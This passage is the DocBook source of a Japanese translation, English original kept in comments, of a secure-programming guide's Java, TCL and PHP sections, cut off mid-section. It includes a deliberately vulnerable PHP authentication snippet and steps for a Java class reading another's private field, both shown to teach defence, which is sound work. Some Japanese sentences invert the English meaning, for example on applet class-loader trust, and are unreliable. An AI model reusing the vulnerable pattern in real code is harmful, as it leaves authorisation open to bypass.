
<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Could mention "Core Java 2"; see http://www.amazon.com/
     exec/obidos/ASIN/0130819336/ref=sim_books/102-4729136-4374443 -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Add more information about creating your own domains inside
     a Java program.-->
<!--
If you're developing secure programs using Java,
frankly your first step (after learning Java)
is to read the two primary texts for Java security, namely
Gong [1999]
and
McGraw [1999] (for the latter, look particularly at section 7.1).
You should also look at Sun's posted security code guidelines at
<ulink url="http://java.sun.com/security/seccodeguide.html">http://java.sun.com/security/seccodeguide.html</ulink>.
A set of slides describing Java's security model are freely available at
<ulink url="http://www.dwheeler.com/javasec">http://www.dwheeler.com/javasec</ulink>.
You can also see McGraw [1998].
-->
Java を使って安全なプログラムを開発しているなら、まず最初のステップ(Java の
学習後)は、Java のセキュリティについての 2 つの基礎的なテキストを読むこと
です。そのテキストは、Gong [1999]と McGraw [1999](後者については、特に
セクション 7.1 を見てください)。
また、Sun が投稿した安全なコードのためのガイドライン 
<ulink url="http://java.sun.com/security/seccodeguide.html">http://java.sun.com/security/seccodeguide.html</ulink> 
も見てください。
Java のセキュリティモデルについてのスライドが、
<ulink url="http://www.dwheeler.com/javasec">http://www.dwheeler.com/javasec</ulink>
で自由に見られます。
McGraw [1998]もあわせて見てください。
</para>

<para>
<!--
Obviously, a great deal depends on the kind of application you're developing.
Java code intended for use on the client side has a completely different
environment (and trust model) than code on a server side.
The general principles apply, of course; for example, you must
checking and filter any input from an untrusted source.
However, in Java there are some ``hidden'' inputs or potential inputs that you
need to be wary of, as discussed below.
Johnathan Nightingale [2000] made an interesting statement
summarizing many of the issues in Java programming:
-->
皆さんが開発しているようなアプリケーションは、明らかにたくさんのものに依存して
います。
クライアント側での利用を目的にした Java のコードは、サーバ側のコード以上に
まったく異なった環境(と信頼モデル)にあります。
もちろん一般原則は適用できます。たとえば、信頼できないユーザからの入力に
対しては、その入力をチェックしてフィルタをかけなければいけません。
しかし、Java では「隠れた」入力や、下記で論じるような配慮すべき潜在的な入力
が存在します。
Johnathan Nightingale [2000] には、Java プログラミングにおける課題を要約した
記述が興味深く、いろいろと書いてあります。
<blockquote>
<para>
<!--
... the big thing with Java programming is minding your inheritances.
If you inherit methods from parents, interfaces, or
parents' interfaces, you risk opening doors to your code. 
-->
… Java プログラミングで大事なのは、継承に気をつけることです。
親からのメソッドやインタフェース、親のインタフェースを継承するなら、
コードに穴が開く危険があります。
</para>
</blockquote>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Secprog, Wed, 1 Nov 2000 18:46:43 -0500, Re: Secure Java programming -->
</para>

<para>
<!--
The following are a few key guidelines, based on Gong [1999],
McGraw [1999], Sun's guidance, and my own experience:
-->
キーとなるガイドラインを Gong [1999]や McGraw [1999]、Sun のガイダンス、
そして私自身の経験からいくらか書いてみます。

<orderedlist>

<listitem><para>
<!--
Do not use public fields or variables; declare them as private and
provide accessors to them so you can limit their accessibility.
-->
public なフィールドもしくは変数は、使わないでください。private で宣言して、
それらへのアクセス機能を提供し、制限をかけてから利用してください。
</para></listitem>

<listitem><para>
<!--
Make methods private unless there is a good reason to do otherwise
(and if you do otherwise, document why).
These non-private methods must protect themselves, because they may
receive tainted data (unless you've somehow arranged to protect them).
-->
メソッドは他に理由がない限り、private にしてください(もし private にしない
なら、ドキュメントに理由を記載してください)。
private でないメソッドは、自分自身で防御しなければいけません。なぜなら、
汚染されたデータを受け取るかもしれないからです(どうにかして防御する手はず
を整えない限りは)。
</para></listitem>

<listitem><para>
<!--
The JVM may not actually enforce the accessibility modifiers
(e.g., ``private'') at run-time in an application
(as opposed to an applet).
My thanks to John Steven (Cigital Inc.), who pointed this out
on the ``Secure Programming'' mailing list on November 7, 2000.
The issue is that it all depends on what class loader
the class requesting the access was loaded with.
If the class was loaded with a trusted class loader (including the null/
primordial class loader),
the access check returns "TRUE" (allowing access).
For example, this works
(at least with Sun's 1.2.2 VM ; it might not work with
other implementations):
-->
JVM(Java Virtual Machine)は、アクセシビリティ修飾子(たとえば、「private」)
をアプリケーション(アプレットとは対照的に)実行時に実際には実施しない可能性
があります。
この点を「Secure Programming」メーリングリストで 2000 年 11 月 7 日に
指摘してくれた John Steven 氏(Cigital Inc.)に感謝します。
この問題は、どのクラスのローダーが、アクセスを要求するクラスをロードするかに
左右される点にあります。
クラスが信頼できるクラスのローダー(null もしくは基底クラスのローダーを含む)
からロードされれば、アクセスチェックは「真」を返します(アクセスを許可)。
たとえば、下記のように動作します。
(少なくとも、Sun の 1.2.2 VM では。他の実装では動作しないかもしれません)。
<orderedlist>
<!--
<listitem><para>write a victim class (V) with a public field, compile it.</para></listitem>
-->
<listitem><para>public フィールドを持つ犠牲者クラス(V)を書き、コンパイルします。
</para></listitem>
<!--
<listitem><para>write an 'attack' class (A) that accesses that field, compile it </para></listitem>
-->
<listitem><para>先程のフィールドにアクセスする「攻撃者」クラス(A)を書き、
コンパイルします。
</para></listitem>
<!--
<listitem><para>change V's public field to private, recompile</para></listitem>
-->
<listitem><para>V の public フィールドを private に変更して、再コンパイル
します。
</para></listitem>
<!--
<listitem><para>run A - it'll access V's (now private) field.</para></listitem>
-->
<listitem><para>A を動かします。A は V の(現在は private な)フィールドに
アクセスします。
</para></listitem>
</orderedlist>
</para>
<para>
<!--
However, the situation is different with applets.
If you convert A to an applet and run it as an applet
(e.g., with appletviewer or browser), its class loader is no
longer a trusted (or null) class loader.
Thus, the code will throw
java.lang.IllegalAccessError, with the message that
you're trying to access a field V.secret from class A.
-->
しかし、アプレットでは状況が変わります。
A をアプレットに変換し、アプレットとして動作させると(たとえば、アプレット・
ビューアーやブラウザで)、クラスローダーは、もはや信頼された(もしくは null)
クラスのローダーになっています。
つまり、コードは、java.lang.IllegalAccessError に投げられ、クラス A から
V.secret フィールドにアクセスしようとしている、というメッセージを出します。
</para></listitem>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Source: SECPROG
Date:    Tue, 7 Nov 2000 16:52:47 -0500
From:    John Steven jsteven@CIGITAL.COM
Subject: Re: Java and 'private'

I looked into this w/ the Java 1.1 VM Spec., and the 1.2.2 VM source,
'spent only a short amount of time on it-mileage may vary.
-->

<listitem><para>
<!--
Avoid using static field variables. Such variables are attached to the
class (not class instances), and classes can be located by any other class.
As a result, static field variables can be found by any other class, making
them much more difficult to secure.
-->
static フィールドの変数は使わないでください。そのような変数はクラス
に属します(クラス・インスタンスではなく)。そして、クラスは他のクラスによって
位置づけられて、static フィールドの変数は他のどのクラスからも見られるように
なります。こうなってしまうと、安全にするのがますます難しくなります。
</para></listitem>

<listitem><para>
<!--
Never return a mutable object to potentially malicious code
(since the code may decide to change it).
Note that arrays are mutable (even if the array contents aren't),
so don't return a reference to an internal array with sensitive data.
-->
コードに悪意があるかもしれない場合、mutable オブジェクトを決して返さ
ないようにしてください(コードが mutable オブジェクトを変更してしまうかも
しれないため)。
配列は mutable であることに注意してください(配列の中身が mutable でなくても
です)。
したがって、機密データが入った内部配列への参照は返さないでください。
</para></listitem>

<listitem><para>
<!--
Never store user given mutable objects (including arrays of objects)
directly.
Otherwise, the user could hand the object to the secure code, let the
secure code ``check'' the object, and change the data while the secure code
was trying to use the data.
Clone arrays before saving them internally, and be careful here
(e.g., beware of user-written cloning routines).
-->
ユーザの既知の mutable なオブジェクト(オブジェクトの配列を含む)を決して
そのまま保存しないでください。
さもないと、ユーザがオブジェクトを安全が必要となるコードに渡してしまうかもしれ
ません。安全が必要なコードは、そのオブジェクトを「チェック」し、そのデータを
使いながら、変更してください。
配列は内部で保存する前にコピーして、注意深く扱ってください(たとえば、ユーザ
が作成したコピー・ルーチンには注意してください)。
</para></listitem>

<listitem><para>
<!--
Don't depend on initialization.
There are several ways to allocate uninitialized objects.
-->
初期化に頼らないでください。
初期化していないオブジェクトを割り当てる方法は、いくつかあります。
</para></listitem>

<listitem><para>
<!--
Make everything final, unless there's a good reason not to.
If a class or method is non-final, an attacker could try to extend it
in a dangerous and unforeseen way.
Note that this causes a loss of extensibility, in exchange for security.
-->
特に理由がなければ、すべてを final としてください。
クラスもしくはメソッドが final でないと、攻撃者が危険かつ思いがけない方法で
拡張しようとするかもしれません。
こうすると、セキュリティと引き換えに拡張性が犠牲になることを忘れないで
ください。
</para></listitem>

<listitem><para>
<!--
Don't depend on package scope for security.
A few classes, such as java.lang, are closed by default, and some
Java Virtual Machines (JVMs) let you close off other packages.
Otherwise, Java classes are not closed.
Thus, an attacker could introduce a new class inside your package,
and use this new class to access the things you thought you were protecting.
-->
セキュリティは、パッケージのスコープに頼らないようにしてください。
デフォルトで閉じている java.lang のようなクラスは少数です。Java Virtual 
Machine(JVM)には、他のパッケージを閉じさせようとするものもあります。
そうでなければ、Java のクラスは閉じていません。
つまり、攻撃者は新しいクラスをパッケージ内部に導入することで、この新しい
クラスを使って、防御していると思っているオブジェクトにアクセスできて
しまいます。
</para></listitem>

<listitem><para>
<!--
Don't use inner classes.
When inner classes are translated into byte codes, the inner class
is translated into a class accesible to any class in the package.
Even worse, the enclosing class's private fields silently
become non-private to permit access by the inner class!
-->
inner クラスを使用しないでください。
inner クラスがバイトコードに変換されると、inner クラスはパッケージ
の中のあらゆるクラスからアクセスできるクラスへと変換されてしまいます。
さらに悪いことに、クラスのプライベートなフィールドを取り囲むと暗黙に
private ではなくなり、なんと inner クラスからのアクセスを認めてしまいます。
</para></listitem>

<listitem><para>
<!--
Minimize privileges.
Where possible, don't require any special permissions at all.
McGraw goes further and recommends not signing any code; I say
go ahead and sign the code (so users can decide to ``run only
signed code by this list of senders''), but try to write the program
so that it needs nothing more than the sandbox set of privileges.
If you must have more privileges, audit that code especially hard.
-->
特権を最低限にしてください。
できるだけ、特別なパーミッションをまったく必要としないようにしてください。
McGraw 氏は、さらに踏み込んで、どんなコードにも署名しないように推奨して
います。私はあえてコードに署名しています(そうすると、ユーザが「(ある特定の
)送り手の一覧にある人が署名したコードだけを実行可能」という選択ができます)。
しかし、特権を設定するサンドボックスそのものを必要とするよう、プログラムを
書いてください。
さらに特権を持つ必要があるなら、とりわけ厳しくそのコードを監査してください。
</para></listitem>

<listitem><para>
<!--
If you must sign your code, put it all in one archive file.
Here it's best to quote McGraw [1999]:
-->
コードに署名しなければいけないなら、1 つのアーカイブファイルに
すべてを納めてください。
McGraw [1999]から引用するのが適切ですので、下記に載せます。
<blockquote>
<para>
<!--
The goal of this rule is to prevent
an attacker from carrying out a mix-and-match
attack in which the attacker constructs a new applet
or library that links some of your signed classes together
with malicious classes, or links together signed classes that you
never meant to be used together.
By signing a group of classes together, you make this attack more difficult.
Existing code-signing systems do an inadequate job of
preventing mix-and-match attacks, so this rule cannot
prevent such attacks completely. But using a single archive can't hurt.
-->
この規定の目的は、異なる手段を組み合わせた攻撃を防ぐことにあります。
この攻撃は、攻撃者が悪意あるコードと署名済みのクラスを一緒にリンクしたり、
意図的に絶対一緒に使うことがないように作られた署名済みクラスとリンクしたり
して、新しいアプレットやライブラリを構築しようとします。
クラスのグループにもあわせて署名すると、この攻撃がさらに困難になります。
コードに署名を行う既存のシステムでは、十分に異質なものを組み合わせた攻撃に
対処できません。したがってこの規定は、そのような攻撃を完全には防ぎ切れません。
しかし、アーカイブを 1 つにしておけば、打撃は受けません。
</para>
</blockquote>
</para></listitem>

<listitem><para>
<!--
Make your classes uncloneable.
Java's object-cloning mechanism allows an attacker to
instantiate a class without running any of its constructors.
To make your class uncloneable, just define the following method
in each of your classes:
-->
クラスが複製できないようにしてください。
Java がオブジェクトを複製する仕組みは、コンストラクタが何も動かなくても、
攻撃者がクラスのインスタンスを作成できてしまいます。クラスを複製できない
ようにするために、クラスそれぞれで下記のメソッドを定義してください。
<programlisting width="71">
<![CDATA[
public final void clone() throws java.lang.CloneNotSupportedException {
   throw new java.lang.CloneNotSupportedException();
   }
]]>
</programlisting>
</para>
<para>
<!--
If you really need to make your class cloneable, then there are some
protective measures you can take to prevent attackers from redefining
your clone method.
If you're defining your own clone method, just make it final.
If you're not, you can at least prevent the clone method from 
being maliciously overridden by adding the following:
-->
どうしてもクラスを複製可能にする必要があるなら、攻撃者が複製したメソッドを
再定義できないようにする方法がいくつかあります。
自分で複製したメソッドを定義しているなら、final にしてください。定義して
いないなら、少なくとも下記を追加して、悪意あるオーバーライドを防げます。
<programlisting width="71">
<![CDATA[
public final void clone() throws java.lang.CloneNotSupportedException {
  super.clone();
  }
]]>
</programlisting>
</para></listitem>

<listitem><para>
<!--
Make your classes unserializeable.
Serialization allows attackers to view the internal state of your objects,
even private portions.
To prevent this, add this method to your classes:
-->
クラスはシリアライズできないようにしてください。
シリアライズすると、攻撃者が private な部分であっても、オブジェクトの内部状態
を見られるようになります。
これを防ぐには、このメソッドをクラスに追加してください。
<programlisting width="66">
<![CDATA[
private final void writeObject(ObjectOutputStream out)
  throws java.io.IOException {
     throw new java.io.IOException("Object cannot be serialized");
  }
]]>
</programlisting>
</para>
<para>
<!--
Even in cases where serialization is okay, be sure to use
the transient keyword for the fields
that contain direct handles to system resources and
that contain information relative to an address space. 
Otherwise, deserializing the class may permit improper access.
You may also want to identify sensitive information as transient.
-->
シリアライズが可能な場合、フィールドがシステムのリソースを直接扱っていたり、
アドレス空間に関連する情報を含んでいたりするなら、そのフィールドに transient 
を設定するようにしてください。
そうしないと、クラスをデシリアライズすると不適切なアクセスを認めることになる
かもしれません。
機密の情報は transient であると見なしても良いと思います。
</para>

<para>
<!--
If you define your own serializing method for a class,
it should not pass an internal array to any DataInput/DataOuput
method that takes an array.
The rationale: All DataInput/DataOutput methods can be overridden.
If a Serializable class passes a private array directly to a DataOutput(write(byte [] b)) method, then an attacker
could subclass ObjectOutputStream and override the write(byte [] b)
method to enable him to access and modify the private array. 
Note that the default serialization does not expose private
byte array fields to DataInput/DataOutput byte array methods. 
-->
自分でクラスにシリアライズするメソッドを定義するなら、どんな DataInput や 
DataOutput メソッドにも内部配列を渡すべきではありません。
根本的な理由は、DataInput や DataOutput メソッドが、オーバーライド可能だから
です。
シリアライズできるクラスが private な配列を直接 DataOutput(write(byte [] b))
メソッドに渡したとすると、攻撃者が ObjectOutputStream をサブクラス化して
write(byte [] b)メソッドをオーバーライドし、private な配列にアクセスしたり、
修正したりできるようにしてしまいます。
デフォルトのシリアライズは、private なバイト配列フィールドを DataInput や 
DataOutput のバイト配列メソッドに公開しません。
</para></listitem>

<listitem><para>
<!--
Make your classes undeserializeable.
Even if your class is not serializeable, it may still be deserializeable.
An attacker can create a sequence of bytes that happens
to deserialize to an instance of your class with values of the
attacker's choosing.
In other words, deserialization is a kind of public constructor, allowing
an attacker to choose the object's state - clearly a dangerous operation!
To prevent this, add this method to your classes:
-->
クラスをデシリアライズしないでください。
クラスをシリアライズしていなくても、デシリアライズできるかもしれません。
攻撃者が好みの値を入れたバイトシーケンスを作って、クラスのインスタンス
としてデシリアライズできます。
見方を変えると、デシリアライズは一種の public なコンストラクタで、攻撃者が
オブジェクトの状態を選択できるようにします。この操作は明らかに危険です。
これを防ぐには、下記のメソッドをクラスに追加してください。
<programlisting width="66">
<![CDATA[
private final void readObject(ObjectInputStream in)
  throws java.io.IOException {
    throw new java.io.IOException("Class cannot be deserialized");
  }
]]>
</programlisting>
</para></listitem>

<listitem><para>
<!--
Don't compare classes by name.
After all, attackers can define classes with identical names, and if
you're not careful you can cause confusion by granting these classes
undesirable privileges.
Thus, here's an example of the <emphasis>wrong</emphasis> way
to determine if an object has a given class:
-->
名前でクラスを比較しないでください。
攻撃者は、どのみち同じ名前でクラスを定義できます。注意しないと、これら
のクラスに望ましくない特権を与えてしまい、混乱が生じます。
ここでは、<emphasis>間違った</emphasis>例として、オブジェクトが既知のクラス
かどうかを判断する例を載せておきます。
<programlisting width="65">
<![CDATA[
  if (obj.getClass().getName().equals("Foo")) {
]]>
</programlisting>
</para>
<para>
<!--
If you need to determine if two objects have exactly the
same class, instead
use getClass() on both sides and compare using the == operator, 
Thus, you should use this form:
-->
2 つのオブジェクトが、間違いなく同じクラスであると判断する必要があれば、
getClass()を両者にかけてから、== 演算子で比較してください。
つまりこのようになります。
<programlisting width="65">
<![CDATA[
  if (a.getClass() == b.getClass()) {
]]>
</programlisting>
<!--
If you truly need to determine if an object has a given classname, you
need to be pedantic and be sure to use the current namespace
(of the current class's ClassLoader).
Thus, you'll need to use this format:
-->
オブジェクトが既知のクラス名を本当に持っているかどうかを決める必要があるなら、
杓子定規に、必ず現在の名前空間(今使っているクラスのクラスローダー)で使うよう
にしてください。
下記のような形式を使ってください。
<programlisting width="65">
<![CDATA[
  if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {
]]>
</programlisting>
</para>
<para>
<!--
This guideline is from McGraw and Felten, and it's a good guideline.
I'll add that, where possible, it's often a good idea to avoid comparing
class values anyway.
It's often better to try to design class methods and interfaces so you
don't need to do this at all.
However, this isn't always practical, so it's important to know these tricks.
-->
このガイドラインは McGraw 氏と Felten 氏のドキュメントからの引用です。この
ガイドラインは優れています。
私はこれに加筆して、クラスの値による比較はできるだけ避けるのが得策であると
しました。
今必要性がまったくないとしても、クラスメソッドやインタフェースを設計する
方が適切です。
しかしいつも設計するのは無理なので、これらのテクニックを知っていると役に
立ちます。
</para></listitem>

<listitem><para>
<!--
Don't store secrets (cryptographic keys, passwords, or
algorithm) in the code or data.
Hostile JVMs can quickly view this data.
Code obfuscation doesn't really hide the code from serious attackers.
-->
機密情報(暗号鍵やパスワード、アルゴリズム)をコードやデータに保存しないで
ください。
JVM には簡単にこのデータを見せてしまう好ましくないものがあります。
コードを複雑にしても、実力がある攻撃者にはコードを隠しておけません。
</para></listitem>

</orderedlist>

</para>

</sect1>

<sect1 id="tcl">
<title>TCL</title>
<para>
<!--
Tcl stands for ``tool command language'' and is pronounced ``tickle.''
TCL is divided into two parts: a language and a library.
The language is a simple text language, intended for issuing commands
to interactive programs and including basic programming capabilities.
The library can be embedded in application programs. 
-->
TCLは、「tool command language」の略語で、「ティクル」と呼びます。
TCL は、言語とライブラリの 2 つの部分から構成されています。
言語はシンプルなテキスト言語です。コマンドを呼び出して、対話的なプログラム
を動かすのに向いており、基本的なプログラミング機能も備えています。
ライブラリは、アプリケーションプログラム内に組み込まれます。
</para>

<para>
<!--
You can find more information about TCL at sites such as the
<ulink url="http://www.sco.com/Technology/tcl/Tcl.html">TCL WWW Info</ulink>
web page.
Probably of most interest are Safe-TCL (which creates a sandbox in TCL)
and Safe-TK (which implements a sandboxed portable GUI for Safe-TCL), as
well as the WebWiseTclTk Toolkit permits TCL packages to be automatically
located and loaded from anywhere on the World Wide Web.
You can find more about the latter from
<ulink url="http://www.cbl.ncsu.edu/software/WebWiseTclTk">http://www.cbl.ncsu.edu/software/WebWiseTclTk</ulink>.
It's not clear to me how much code review this has received.
More useful information is available from the comp.lang.tcl FAQ launch
page at
<ulink url="http://www.tclfaq.wservice.com/tcl-faq">http://www.tclfaq.wservice.com/tcl-faq</ulink>.
However, it's worth noting that TCL's desire to be a small, ``simple''
language results in a language that can be rather limiting;
see
<ulink url="http://sdg.lcs.mit.edu/~jchapin/6853-FT97/Papers/stallman-tcl.html">
Richard Stallman's ``Why You Should Not Use TCL''</ulink>.
For example, TCL's notion that there is essentially
only one data type (string) can
make many programs harder to write (as well as making them slow).
Also, when I've written TCL programs
I've found that it's easy to accidentally create TCL programs where
malicious input strings can cause untoward and unexpected behavior.
For example, an attackers may be able to cause your TCL program
to do unexpected things by sending characters with special meaning to TCL
such as embedded spaces, double-quote, curly braces,
dollar signs, or brackets (or create input
to cause these characters to be created during processing).
Thus, I don't recommend TCL for writing programs which must
mediate a security boundary.
If you do choose to do so, be especially careful to ensure that user
input cannot ``fool'' the program.
On the other hand, I know of no strong reason (other than
insufficient review) that TCL programs can't be used to implement mobile code.
There are certainly TCL advocates who will advocate more use than I do,
and TCL is one of the few languages with
a ready-made sandbox implementation.
-->
TCL についての情報はさらに、
<ulink url="http://www.sco.com/Technology/tcl/Tcl.html">TCL WWW Info</ulink>
のようなサイトのページで見られます。
非常に興味深いのは、Safe-TCL(TCL でサンドボックスを作る)や Safe-TK (Safe-TCL
用にサンドボックス化した移植性のある GUI)です。同じく WebWiseTclTk Toolkit は
TCL パッケージを自動的に配置して WWW のどこからでもロードをできるようにして
います。
WebWiseTclTk Toolkit については、
<ulink url="http://www.cbl.ncsu.edu/software/WebWiseTclTk">http://www.cbl.ncsu.edu/software/WebWiseTclTk</ulink>.
にさらに詳しい情報があります。
どの程度コードをレビューしてあるのか、はっきりしません。
さらに役立つ情報が、comp.lang.tcl の FAQ 
<ulink url="http://www.tclfaq.wservice.com/tcl-faq">http://www.tclfaq.wservice.com/tcl-faq</ulink> 
に載せてあります。
しかし TCL が目指しているところが、小さく、「シンプル」な言語であるゆえに、
思った以上に制限があります。
<ulink url="http://sdg.lcs.mit.edu/~jchapin/6853-FT97/Papers/stallman-tcl.html">
Richard Stallman 氏の「Why You Should Not Use TCL」</ulink>
を見てください。
たとえば、TCL は概念上、データ型は 1 つしか存在せず(文字列)、これがさまざまな
プログラムの作成を難しくしています(実行も遅くなっています)。
また、私が TCL プログラムを書いた時にわかったことがあります。それは、悪意ある
入力文字列によって、簡単にプログラムが厄介で思いがけない動作をしてしまう点
です。
たとえば、攻撃者はあなたの TCL プログラムを利用して、予期しなかったことを
実行してしまうかもしれません。予期しなかったこととは、TCL にとって特別な意味
を持つ文字であるスペースや二重引用符、中括弧、ドル記号、ブラケットを送り
つけることです(もしくは、処理中にこれらの文字を発生させる入力を作成します)。
つまり、セキュリティの境界に位置して、仲介をしなければならないプログラムを書く
のには、TCL を推奨できません。
どうしても TCL を選びたいなら、細心の注意を払って、ユーザの入力によって
プログラムが「だまされない」ようにしてください。
その一方で、TCL プログラムがモバイル用コードを実装するのに全然利用できない、
という理由(不十分なレビュー以外に)を理解できません。
私が推奨する以上に TCL の利用を支持している人たちがいます。それは TCL が
サンドボックスを出来合いで実装している数少ない言語の 1 つだからです。
</para>
</sect1>

<sect1 id="PHP">
<title>PHP</title>

<para>
<!--
SecureReality has put out a very interesting paper titled
``A Study In Scarlet - Exploiting Common Vulnerabilities in PHP''
[Clowes 2001],
which discusses some of the problems in writing secure programs in PHP,
particularly in versions before PHP 4.1.0.
Clowes concludes that
``it is very hard to write a secure PHP application (in the
default configuration of PHP), even if you try''.
-->
SecureReality は、非常に興味をそそる「A Study In Scarlet - Exploiting 
Common Vulnerabilities in PHP」[Clowes 2001]」というドキュメントを出して
いて、PHP 4.1.0 以前のバージョンにターゲットを当て、安全なプログラムを
書く上で問題となる点のいくつかを論じています。
このドキュメントでは「努力したとしても、PHP で安全なアプリケーションを
書くのは非常に難しい(PHP のデフォルトの設定では)」と結論づけています。
</para>

<para>
<!--
Granted, there are security issues in any language, but one
particular issue stands out in PHP that arguably makes PHP
less secure than most languages: the way it loads data into its namespace.
By default, in PHP (versions 4.1.0 and lower)
all environment variables and values sent to PHP over the web
are automatically loaded into the same namespace (global variables)
that normal variables are loaded into - so attackers can set arbitrary
variables to arbitrary values, which keep their values unless explicitly
reset by a PHP program.
In addition, PHP automatically creates variables with a
default value when they're first requested, so
it's common for PHP programs to not initialize variables.
If you forget to set a variable, PHP can report it, but
by default PHP won't - and note that this simply an error report, it
won't stop an attacker who finds an unusual way to cause it.
Thus, by default PHP allows an attacker to
completely control the values of all variables in a program unless
the program takes special care to override the attacker.
Once the program takes over, it can reset these variables,
but failing to reset
any variable (even one not obvious) might open a vulnerability in the
PHP program.
-->
どんな言語にもセキュリティ上の問題はありますが、PHP には安全上おそらく
他の大半の言語と比べて際だった問題点が 1 つあります。それは名前空間に
データをロードする方法です。
デフォルトで PHP (バージョン 4.1.0 もしくはそれよりも古いバージョン)は、
Web 上の PHP へと送られる環境変数とその値をすべて、自動的に同じ名前空間
(グローバル変数)にロードします。通常の変数もそこにロードします。したがって、
攻撃者は自由に変数やその値を設定可能で、PHP プログラムがあえて再設定しない
限り、その値はそのままになっています。
さらに PHP は最初に変数を作る要求があった時に、デフォルトの値を設定します。
したがって、PHP プログラムは変数を初期化しないのが普通です。
変数を設定するのを忘れると、PHP は報告をあげますが、デフォルトではそうなって
いません。ただ忘れてはいけない点は、これが単にエラーの報告であって、攻撃者
が普通でない方法を見つけて、エラーを起こすことを止められないことです。
つまり PHP はデフォルトでは、プログラムが攻撃者に対して特別に注意を払って
攻撃者を負かさない限り、プログラムにある変数すべての値のコントロールを完全に
許してしまっています。
プログラムが動きだすと、これらの変数を再設定できますが、どの変数の再設定に
失敗しても(はっきりとしていなくても) PHP プログラムの脆弱さがあらわになる
でしょう。
</para>

<para>
<!--
For example, the following PHP program (an example from Clowes)
intends to only let those who
know the password to get some important information, but an attacker
can set ``auth'' in their web browser and subvert the authorization check:
-->
たとえば、下記の PHP プログラム(Clowes 氏による例)は、パスワードを知っている
人にだけ何か重要な情報を与えようとしていますが、攻撃者は Web ブラウザで
「auth」に値を設定し、認証チェックの効力を失わせられます。
<programlisting width="65">
<![CDATA[
 <?php
  if ($pass == "hello")
   $auth = 1;
  ...
  if ($auth == 1)
   echo "some important information";
 ?>
]]>
</programlisting>
</para>

<para>
<!--
I and many others have complained about this particularly
dangerous problem; it's particularly a problem because
PHP is widely used.
A language that's supposed to be easy to use better make
it easy to write secure programs in, after all.
It's possible to disable this misfeature in PHP by turning the setting
``register_globals'' to ``off'', but by default PHP versions up through 4.1.0
default set this to ``on'' and PHP before 4.1.0 is harder
to use with register_globals off.
The PHP developers stated in their PHP 4.1.0 announcenment that
``as of the next semi-major version of PHP, new installations of PHP will
default to having register_globals set to off.''
-->
私の他にも、このとりわけ危険な問題を批判する人が大勢います。PHP は広範に
使われているので、問題は深刻です。
結局、簡単に使える言語は、簡単に安全なプログラムを書けるようになっています。
PHP では、設計時に見通しを誤ってしまったこの機能を無効にできます。
「register_globals」を「off」にすればよいのです。しかし、PHP の 4.1.0 より
新しいバージョンでは、デフォルトで「on」になります。4.1.0 以前は 
register_globals を off にして使用するのは困難です。
PHP の開発者は、PHP 4.1.0 のアナウンスの中で下記のように述べています。
「PHP の次の準メジャー・バージョンアップでは、デフォルトで register_globals 
は off になってインストールされます」
</para>

<para>
<!--
PHP with ``register_globals'' set to ``on'' is a dangerous choice
for nontrivial programs - it's just too easy to write insecure programs.
However, once ``register_globals'' is set to ``off'', PHP is quite
a reasonable language for development.
-->
「register_globals」が「on」になっている PHP は、重要なプログラムにとって
危険な選択となります。いとも簡単に安全でないプログラムが書けるからです。
しかし、「register_globals」が「off」になりさえすれば、PHP は開発するのに
なかなか使える言語になります。
</para>

<para>
<!--
The secure default should include setting
``register_globals'' to ``off'', and also including several functions to
make it much easier to for users to specify and limit the input they'll
accept from external sources.
Then web servers (such as Apache) could separately configure this
secure PHP installation.
Routines could be placed in the PHP library to make it
easy for users to list the input variables they want to accept;
some functions could check the patterns these variables must have
and/or the type that the variable must be coerced to.
In my opinion, PHP is currently a bad choice for secure web development
(register_globals is on),
but PHP could be trivially modified to become a reasonable choice.
-->
デフォルトを安全にするには、「register_globals」を「off」にすること、
ユーザが外部の情報源から得る入力に対して設定を行い、制限をかけやすく
できる機能を追加することが挙げられます。
Web サーバ(Apache のような)は、独自に PHP を安全に設定してインストールでき
ます。
ユーザが受け取りたい入力変数が簡単にリストアップできるようなルーチンを PHP 
ライブラリに入れられます。
関数には、変数が持たなければならないパタンおよび変数が強制されなければ
ならない型をチェックするものがあります。
私の考えでは、現状、安全な Web 開発に PHP を採用するのはどうかと思います
(register_globals が on なので)。しかし、ちょっとした修正をすれば、手ごろな
手段になります。
</para>

<para>
<!--
If you've decided to use PHP, here are some of my recommendations
(many of these recommendations are based on ways to counter
the issues that Clowes raises):
-->
PHP を使おうと決めたなら、ここでアドバイスをいくつか書いておきます(これら
のアドバイスの多くは、Clowes 氏が提起している問題への対処方法をベースにして
います)。
<itemizedlist>
<listitem><para>
<!--
Set the PHP configuration option
``register_globals'' off, and use PHP 4.1.0 or greater.
PHP 4.1.0 adds several special arrays, particularly $_REQUEST,
which makes it far simpler to develop software in PHP
when ``register_globals'' is off.
Setting register_globals completely eliminates the most common
PHP attack, and prepares you for the time when this will be the default
for new installations.
If you're assuming that register_globals is off, you should check for
this first (and halt if it's not true) - that way, people who install
your program will quickly know there's a problem.
Note that few third-party PHP applications can
work with this setting, so it's hard to keep it off for an entire website
at this time.
Also, disabling ``register_globals'' is more difficult when you're being
hosted by a third party.
It's possible to set register_globals off for only some programs.
For example, for Apache, you could insert these lines into the file .htaccess
in the PHP directory (or use Directory directives to control it further):
-->
PHP の設定オプションである「register_globals」を「off」にして、4.1.0 以上
のバージョンを利用してください。
PHP 4.1.0 ではいくつか特別な配列を用意していて、その中でも $_REQUEST は
「register_globals」を「off」にしている場合に PHP でのソフトウェア開発を
容易にします。
register_globals を設定することで、PHP に対する一番よくある攻撃を完全に
排除できます。またこの設定が新規インストールのデフォルトになる時の準備にも
なります。
register_globals が off であることを前提にするなら、まずこの点をチェックする
必要があります(そうなっていなければ中断します)。そうすれば、プログラムを
インストールする人が、問題があることにすぐ気付きます。
サードパーティの PHP アプリケーションでこの設定で動作するものは少数です。
したがって現状では、Web サイトで完全に off にするのは困難であることを忘れない
でください。
また、「register_globals」を無効にすると、サードパーティによるホスティング
も難しくなります。
プログラムのいくつかだけが「register_globals」を「off」にしていることは可能
です。
たとえば Apache なら、下記の行を PHP のディレクトリの .htaccess ファイルに
加えてください(もしくは Directory 命令を使ってさらに制御をかけてください)。
<programlisting>
 php_flag register_globals Off
 php_flag track_vars On
</programlisting>
<!--
However, the .htaccess file itself is ignored unless the Apache web server
is configured to permit overrides; often the Apache global configuration
is set so that AllowOverride is set to None.
So, for Apache users,
